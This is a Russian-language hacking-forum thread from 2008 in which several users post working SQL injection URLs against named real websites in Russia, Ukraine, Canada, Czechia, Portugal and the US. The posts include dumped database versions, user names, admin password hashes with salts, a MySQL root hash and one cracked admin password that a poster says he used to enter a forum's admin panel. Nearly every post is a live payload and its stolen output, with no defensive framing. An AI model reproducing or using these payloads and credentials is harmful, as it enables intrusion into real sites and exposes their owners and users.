ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #6551  
Старый 06.09.2008, 00:20
Аватар для login999
login999
Постоянный
Регистрация: 12.06.2008
Сообщений: 654
Провел на форуме:
4512757

Репутация: 973


По умолчанию

Код:
 http://www.mibf.ru/index.php?id=37+union+select+1,id,3,4,5,6,7,8,9,10+from+users/*
-скуля таблицу и одно из полей подобрал, дальше хз, + не вижу, куда выводятся результаты (в теле страницы вроде нет)

Последний раз редактировалось login999; 06.09.2008 в 00:51..
 
Ответить с цитированием

  #6552  
Старый 06.09.2008, 01:13
Аватар для bons
bons
Участник форума
Регистрация: 20.12.2007
Сообщений: 295
Провел на форуме:
1777055

Репутация: 347
По умолчанию

Код:
http://www.fun.te.ua/?news=-1+union+select+11,22,version(),44,user(),database()/*
user: funteua@localhost
database: funteua
version: 5.0.45


запись админа из таблицы users:
Код:
http://www.fun.te.ua/?news=-1+union+select+11,22,33,44,Login,Password+from+users+WHERE+ID=1/*

Там еще форум есть phpbb3. Хэш админа:
Код:
http://www.fun.te.ua/?news=-1+union+select+11,22,33,44,username,user_password+from+forumfun.phpbb3_users+WHERE+user_id=2/*
 
Ответить с цитированием

  #6553  
Старый 06.09.2008, 10:30
Аватар для Мистерео
Мистерео
Познающий
Регистрация: 07.08.2006
Сообщений: 66
Провел на форуме:
2256830

Репутация: 94
По умолчанию

Цитата:
Сообщение от bons  
Там еще форум есть phpbb3. Хэш админа:
Код:
http://www.fun.te.ua/?news=-1+union+select+11,22,33,44,username,user_password+from+forumfun.phpbb3_users+WHERE+user_id=2/*
На форуме валяется два админа
Первый Co1T второй ch@os
хеш кольта пробивкой по мд5 ниче не дало а вот на ch@os'а мне выдало

ch@os:641a668c3d04a7564b278413445808a5
Пробив хеш получилось
ch@os:18121985

Логинимся на форуме выбираем админ панель и вуаля!Мы в админке
 
Ответить с цитированием

  #6554  
Старый 06.09.2008, 15:44
Аватар для bons
bons
Участник форума
Регистрация: 20.12.2007
Сообщений: 295
Провел на форуме:
1777055

Репутация: 347
По умолчанию

Код:
http://www.samara-sv.info/?static=-1'+union+select+111,user(),database(),version(),555,666/*
user - samara@localhost
database - samarasv2_main
version - 5.0.22-log


есть таблица users с двумя записями, вот только неизвестно от чего это

Код:
http://www.samara-sv.info/?static=-1'+union+select+111,login,passw,user_id,555,666+from+users/*

9 turist ec6d9c8953ab272295ec0469bbed59ab (mountain)
11 budym c645ef64e05f5c5c47e4b204a43b3323 (?)
 
Ответить с цитированием

  #6555  
Старый 06.09.2008, 20:11
Аватар для Rubaka
Rubaka
Участник форума
Регистрация: 02.09.2007
Сообщений: 292
Провел на форуме:
3659973

Репутация: 466
Отправить сообщение для Rubaka с помощью ICQ
По умолчанию

http://www.laterre.ca/?action=lienSousCat&idLienSousCat=116/**/UNION/**/SELECT/**/1,2,concat(user,0x3a,password),4,5,6,7,8,9,30,31,3 2+from+mysql.user+limit+1,1/*

root:717714425d27f95d
 
Ответить с цитированием

  #6556  
Старый 07.09.2008, 10:29
Аватар для USAkid
USAkid
Участник форума
Регистрация: 17.06.2008
Сообщений: 214
Провел на форуме:
964766

Репутация: 228
По умолчанию

http://www.spakedr.ru

Код:
http://www.spakedr.ru/administrator/components/com_astatspro/refer.php?id=-1+union+select+1,2,concat_ws(version(),0x3a,user(),0x3a,database())/*
version() - 4.0.24-standard-log
user() - slavalne_joomla@localhost4.0.24-standard-log
database() - 4.0.24-standard-logslavalne_joomla

Код:
http://www.spakedr.ru/administrator/components/com_astatspro/refer.php?id=-1+union+select+1,2,concat_ws(username,0x3a,password,0x3a,usertype)+from+jos_users/*
- запрос на логин/пасс/статус админа, но чето он отвергается.
 
Ответить с цитированием

  #6557  
Старый 07.09.2008, 13:01
Аватар для ..::TROYAN::..
..::TROYAN::..
Участник форума
Регистрация: 22.05.2008
Сообщений: 158
Провел на форуме:
2875309

Репутация: 348
Отправить сообщение для ..::TROYAN::.. с помощью ICQ
По умолчанию

Код:
http://www.maljutka.ru/shop/goods.php?id=9+union+select+1,concat(user(),0x3a,database(),0x3a,version()),null,4,5,6,7/*
Код:
http://www.maljutka.ru/shop/shop.php?id=9999+union+select+1,concat(user(),0x3a,database()),3,4,5,6/*
user - maljut01@fe59-1.hc.ru
database - wwwmaljutkaru
version - 4.1.22
 
Ответить с цитированием

  #6558  
Старый 07.09.2008, 15:12
Аватар для USAkid
USAkid
Участник форума
Регистрация: 17.06.2008
Сообщений: 214
Провел на форуме:
964766

Репутация: 228
По умолчанию

http://www.irvconsulex.cz/

Код:
http://www.irvconsulex.cz/administrator/components/com_astatspro/refer.php?id=-1+union+select+1,2,concat_ws(version(),0x3a,user(),0x3a,database())--
version() - 4.1.18-log
user() - irvconsulex-cz@localhost
database() - logirvconsulex-cz

Админ:
Код:
http://www.irvconsulex.cz/administrator/components/com_astatspro/refer.php?id=-1+union+select+1,2,concat_ws(username,0x3a,password)+from+jos_users+limit+0,1--
login/hash/salt:

admin : 506e5a43e1ed6052fc003c157483b73d : IUsUB8uMKz7Qt2wJ
 
Ответить с цитированием

  #6559  
Старый 07.09.2008, 17:01
Аватар для DimOnOID
DimOnOID
Постоянный
Регистрация: 05.12.2006
Сообщений: 477
Провел на форуме:
11338585

Репутация: 441
Отправить сообщение для DimOnOID с помощью ICQ
По умолчанию

Код:
http://www.cm-lousa.pt/servicos/news.php?id=99999+union+select+1,concat_ws(0x40,host,user,password,file_priv,version()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+mysql.user/*
 
Ответить с цитированием

  #6560  
Старый 07.09.2008, 20:39
Аватар для Fugitif
Fugitif
Постоянный
Регистрация: 23.09.2007
Сообщений: 416
Провел на форуме:
1781065

Репутация: 869
По умолчанию

Код:
http://www.wtopnews.com/index.php?nid=25&sid=1+UNION+SELECT+concat_ws(0x3a,version(),database(),user()),2/*
Цитата:
5.0.32-Debian_7etch5-log:dc_inform:informant@micro3.bonnint.net
Код:
http://www.lam.org/news/article.php?id=1%20UNION%20SELECT%201,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9/*
Цитата:
4.0.26-standard-log:lam:lam@vhosts23.web.gcii.net
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
SQL инъекция и Oracle, часть 2 k00p3r Чужие Статьи 0 13.06.2005 11:24
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ